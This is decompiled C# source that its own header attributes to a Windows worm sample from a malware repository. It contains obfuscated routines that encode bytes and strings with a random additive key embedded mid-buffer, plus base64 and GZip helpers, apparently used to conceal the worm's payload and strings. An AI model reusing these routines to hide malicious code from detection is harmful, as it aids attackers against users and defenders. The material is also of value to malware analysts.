// Decompiled with JetBrains decompiler // Type: Ҧ߲๒ʽ໙ୄᴘ.ᤨᔾዔ // Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe using System; using System.Collections.Generic; using System.IO; using System.IO.Compression; using System.Text; namespace Ҧ߲๒ʽ໙ୄᴘ { internal class \u1928ᔾዔ { public static byte[] ᅀძṶၠ(byte[] _param0, bool _param1) { try { int num = new Random().Next(-2000000000, 2000000000); for (int index = 0; index < _param0.Length; ++index) _param0[index] = (_param0[index] += (byte) num); List byteList = new List(); byteList.AddRange((IEnumerable) _param0); byte[] bytes = BitConverter.GetBytes(num); byteList.InsertRange(byteList.Count / 2, (IEnumerable) bytes); byte[] array = byteList.ToArray(); byteList.Clear(); return _param1 ? Encoding.ASCII.GetBytes(Convert.ToBase64String(array)) : array; } catch { } return (byte[]) null; } public static byte[] ᖝሇᬐ\u09D1য়᪷(byte[] _param0, bool ཝݾᕉਚ) { try { List byteList1 = new List(ཝݾᕉਚ ? (IEnumerable) Convert.FromBase64String(Encoding.ASCII.GetString(_param0)) : (IEnumerable) _param0); int int32 = BitConverter.ToInt32(byteList1.GetRange((byteList1.Count - 4) / 2, 4).ToArray(), 0); byteList1.RemoveRange((byteList1.Count - 4) / 2, 4); for (int index1 = 0; index1 < byteList1.Count; ++index1) { List byteList2; int index2; byteList1[index1] = (byteList2 = byteList1)[index2 = index1] = (byte) ((uint) byteList2[index2] - (uint) (byte) int32); } byte[] array = byteList1.ToArray(); byteList1.Clear(); return array; } catch { } return (byte[]) null; } public static string յ(string ڝ, bool _param1) { try { int num = new Random().Next(-2000000000, 2000000000); byte[] bytes1 = Encoding.GetEncoding(1252).GetBytes(ڝ); for (int index = 0; index < bytes1.Length; ++index) bytes1[index] += (byte) num; List byteList = new List(); byteList.AddRange((IEnumerable) bytes1); byte[] bytes2 = BitConverter.GetBytes(num); byteList.InsertRange(byteList.Count / 2, (IEnumerable) bytes2); byte[] array = byteList.ToArray(); byteList.Clear(); return _param1 ? Convert.ToBase64String(array) : Encoding.GetEncoding(1252).GetString(array); } catch { } return string.Empty; } public static string ᶽ\u005B\u0E8EЇᘹഏಔভ(string ޅਜ਼ႁ, bool _param1) { try { List byteList1 = new List(_param1 ? (IEnumerable) Convert.FromBase64String(ޅਜ਼ႁ) : (IEnumerable) Encoding.GetEncoding(1252).GetBytes(ޅਜ਼ႁ)); int int32 = BitConverter.ToInt32(byteList1.GetRange((byteList1.Count - 4) / 2, 4).ToArray(), 0); byteList1.RemoveRange((byteList1.Count - 4) / 2, 4); for (int index1 = 0; index1 < byteList1.Count; ++index1) { List byteList2; int index2; byteList1[index1] = (byteList2 = byteList1)[index2 = index1] = (byte) ((uint) byteList2[index2] - (uint) (byte) int32); } byte[] array = byteList1.ToArray(); byteList1.Clear(); return Encoding.GetEncoding(1252).GetString(array); } catch { } return string.Empty; } public static byte[] \u1CEDኰҁலኘᜉവን(byte[] ᓀƆ͟ᅖ) { MemoryStream memoryStream = new MemoryStream(); using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true)) gzipStream.Write(ᓀƆ͟ᅖ, 0, ᓀƆ͟ᅖ.Length); memoryStream.Position = 0L; byte[] numArray = new byte[memoryStream.Length]; memoryStream.Read(numArray, 0, numArray.Length); byte[] dst = new byte[numArray.Length + 4]; Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 4, numArray.Length); Buffer.BlockCopy((Array) BitConverter.GetBytes(ᓀƆ͟ᅖ.Length), 0, (Array) dst, 0, 4); return dst; } public static byte[] \u0378ઙ᭱ᰤᱩሾལ(byte[] _param0) { using (MemoryStream memoryStream = new MemoryStream()) { int int32 = BitConverter.ToInt32(_param0, 0); memoryStream.Write(_param0, 4, _param0.Length - 4); byte[] buffer = new byte[int32]; memoryStream.Position = 0L; using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress)) gzipStream.Read(buffer, 0, buffer.Length); return buffer; } } } }